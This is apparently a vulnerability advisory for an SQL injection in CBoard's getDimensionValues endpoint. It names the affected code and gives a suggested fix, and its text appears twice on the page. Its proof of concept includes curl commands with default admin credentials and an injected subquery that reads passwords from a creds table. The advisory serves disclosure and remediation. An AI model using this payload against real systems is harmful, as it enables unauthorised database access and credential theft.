Summary
SQL injection in GET /dashboard/getDimensionValues. The colmunName parameter is interpolated into SELECT ... GROUP BY via String.format, allowing any logged-in BI user to append arbitrary SQL.
Details
At src/main/java/org/cboard/dataprovider/JdbcDataProvider.java:242-251 the dimension-value query is built as:
String fsql = "SELECT cb_view.%s FROM (\n%s\n) cb_view %s GROUP BY cb_view.%s";
String exec = String.format(fsql, columnName, sql, whereStr, columnName);
... ResultSet rs = stat.executeQuery(exec);
columnName comes from DashboardController.getDimensionValues (src/main/java/org/cboard/controller/DashboardController.java:275-291) which reads the request parameter colmunName without validation. The service passes it straight to JdbcDataProvider.queryDimVals. The commit added SqlInjectionValidator, but it is wired only into the summary-expression path (SqlSyntaxHelper.java:27/48), not into queryDimVals.
PoC
Deploy with Docker on localhost:18080. Log in as admin / root123:
TARGET=http://127.0.0.1:18080
# Login and store session
curl -i -c /tmp/cboard-cookies.txt -X POST "$TARGET/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=admin&password=root123'
# NORMAL — benign dimension value query returns only CN/US
curl -s -b /tmp/cboard-cookies.txt \
"$TARGET/dashboard/getDimensionValues?datasetId=1&colmunName=country"
VULNERABLE — injected scalar subquery reads the secret creds table
curl -s -b /tmp/cboard-cookies.txt \
"$TARGET/dashboard/getDimensionValues?datasetId=1&colmunName=country,%20(SELECT%20password%20FROM%20creds%20LIMIT%201)"
The response still lists the dimension values, but the application logs show the executed SQL now includes SELECT password FROM creds LIMIT 1, proving the attacker-controlled colmunName is inserted into the query.
Impact
Any authenticated CBoard user can execute arbitrary SQL against any datasource accessible to the CBoard JDBC connection, including other tenants' data and database credentials. Severity: High.
Suggested Fix
Validate colmunName against the dataset's real column registry (exact-match allowlist) and reject anything not matching ^[A-Za-z0-9_]+$; do not use String.format with request identifiers. Extend SqlInjectionValidator to the dimension/column path.
Summary
SQL injection in
GET /dashboard/getDimensionValues. ThecolmunNameparameter is interpolated intoSELECT ... GROUP BYviaString.format, allowing any logged-in BI user to append arbitrary SQL.Details
At
src/main/java/org/cboard/dataprovider/JdbcDataProvider.java:242-251the dimension-value query is built as:columnNamecomes fromDashboardController.getDimensionValues(src/main/java/org/cboard/controller/DashboardController.java:275-291) which reads the request parametercolmunNamewithout validation. The service passes it straight toJdbcDataProvider.queryDimVals. The commit addedSqlInjectionValidator, but it is wired only into the summary-expression path (SqlSyntaxHelper.java:27/48), not intoqueryDimVals.PoC
Deploy with Docker on
localhost:18080. Log in asadmin / root123:VULNERABLE — injected scalar subquery reads the secret creds table
curl -s -b /tmp/cboard-cookies.txt \ "$TARGET/dashboard/getDimensionValues?datasetId=1&colmunName=country,%20(SELECT%20password%20FROM%20creds%20LIMIT%201)"The response still lists the dimension values, but the application logs show the executed SQL now includes
SELECT password FROM creds LIMIT 1, proving the attacker-controlledcolmunNameis inserted into the query.Impact
Any authenticated CBoard user can execute arbitrary SQL against any datasource accessible to the CBoard JDBC connection, including other tenants' data and database credentials. Severity: High.
Suggested Fix
Validate
colmunNameagainst the dataset's real column registry (exact-match allowlist) and reject anything not matching^[A-Za-z0-9_]+$; do not useString.formatwith request identifiers. ExtendSqlInjectionValidatorto the dimension/column path.